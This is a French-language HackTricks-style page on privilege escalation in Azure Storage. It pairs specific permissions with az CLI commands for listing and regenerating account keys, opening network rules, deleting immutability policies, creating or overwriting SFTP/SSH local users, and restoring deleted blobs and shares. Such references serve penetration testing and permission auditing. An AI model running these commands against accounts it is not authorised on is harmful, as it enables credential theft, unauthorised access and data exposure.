# Az - Storage Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Storage Privesc

Pour plus d'informations sur le stockage, consultez :

{{#ref}}
../az-services/az-storage.md
{{#endref}}

### `Microsoft.Storage/storageAccounts/listkeys/action`

Un principal avec cette permission pourra lister (et les valeurs secrètes) des **clés d'accès** des comptes de stockage. Cela permet au principal d'escalader ses privilèges sur les comptes de stockage.
```bash
az storage account keys list --account-name <acc-name>
```
### `Microsoft.Storage/storageAccounts/regenerateKey/action`

Un principal avec cette permission pourra renouveler et obtenir la nouvelle valeur secrète des **clés d'accès** des comptes de stockage. Cela permet au principal d'escalader ses privilèges sur les comptes de stockage.

De plus, dans la réponse, l'utilisateur obtiendra la valeur de la clé renouvelée ainsi que celle de la clé non renouvelée :
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
### `Microsoft.Storage/storageAccounts/write`

Un principal avec cette autorisation pourra créer ou mettre à jour un compte de stockage existant en mettant à jour n'importe quel paramètre comme les règles réseau ou les politiques.
```bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow

# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
```
## Blobs Specific privesc

### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`

La première permission permet de **modifier les politiques d'immuabilité** dans les conteneurs et la seconde de les supprimer.

> [!NOTE]
> Notez que si une politique d'immuabilité est en état de verrouillage, vous ne pouvez pas faire l'un ou l'autre.
```bash
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP>

az storage container immutability-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>
```
## Privesc spécifique aux partages de fichiers

### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`

Cela devrait permettre à un utilisateur ayant cette permission de prendre possession des fichiers à l'intérieur du système de fichiers partagé.

### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`

Cela devrait permettre à un utilisateur ayant cette permission de modifier les permissions des fichiers à l'intérieur du système de fichiers partagé.

### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`

Cela devrait permettre à un utilisateur ayant cette permission d'effectuer des actions à l'intérieur d'un système de fichiers en tant que superutilisateur.

### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`

Avec cette permission, un attaquant peut créer et mettre à jour (s'il a la permission `Microsoft.Storage/storageAccounts/localusers/read`) un nouvel utilisateur local pour un compte de stockage Azure (configuré avec un espace de noms hiérarchique), y compris la spécification des permissions et du répertoire personnel de l'utilisateur. Cette permission est significative car elle permet à l'attaquant de se donner accès à un compte de stockage avec des permissions spécifiques telles que lecture (r), écriture (w), suppression (d) et liste (l) et plus encore. De plus, les méthodes d'authentification utilisées peuvent être des mots de passe générés par Azure et des paires de clés SSH. Il n'y a pas de vérification si un utilisateur existe déjà, donc vous pouvez écraser d'autres utilisateurs qui sont déjà présents. L'attaquant pourrait élever ses privilèges et obtenir un accès SSH au compte de stockage, exposant potentiellement ou compromettant des données sensibles.
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME> \
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
```
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`

Avec cette autorisation, un attaquant peut régénérer le mot de passe d'un utilisateur local dans un compte de stockage Azure. Cela accorde à l'attaquant la capacité d'obtenir de nouvelles informations d'identification d'authentification (comme un mot de passe SSH ou SFTP) pour l'utilisateur. En utilisant ces informations d'identification, l'attaquant pourrait obtenir un accès non autorisé au compte de stockage, effectuer des transferts de fichiers ou manipuler des données dans les conteneurs de stockage. Cela pourrait entraîner une fuite de données, une corruption ou une modification malveillante du contenu du compte de stockage.
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>
```
Pour accéder à Azure Blob Storage via SFTP (is_hns_enabled doit être vrai) en utilisant un utilisateur local via SFTP, vous pouvez (vous pouvez également utiliser une clé ssh pour vous connecter) :
```bash
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`

Avec ces autorisations, un attaquant peut restaurer un conteneur supprimé en spécifiant son ID de version supprimée ou annuler la suppression de blobs spécifiques dans un conteneur, s'ils ont été précédemment supprimés de manière douce. Cette élévation de privilèges pourrait permettre à un attaquant de récupérer des données sensibles qui étaient censées être définitivement supprimées, ce qui pourrait entraîner un accès non autorisé.
```bash
#Restore the soft deleted container
az storage container restore \
--account-name <STORAGE_ACCOUNT_NAME> \
--name <CONTAINER_NAME> \
--deleted-version <VERSION>

#Restore the soft deleted blob
az storage blob undelete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
```
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`

Avec ces autorisations, un attaquant peut restaurer un partage de fichiers Azure supprimé en spécifiant son ID de version supprimée. Cette élévation de privilèges pourrait permettre à un attaquant de récupérer des données sensibles qui étaient censées être définitivement supprimées, ce qui pourrait entraîner un accès non autorisé.
```bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>
```
## Autres autorisations intéressantes (TODO)

- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Change la propriété du blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifie les autorisations du blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Renvoie le résultat de la commande blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action

## Références

- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)

{{#include ../../../banners/hacktricks-training.md}}
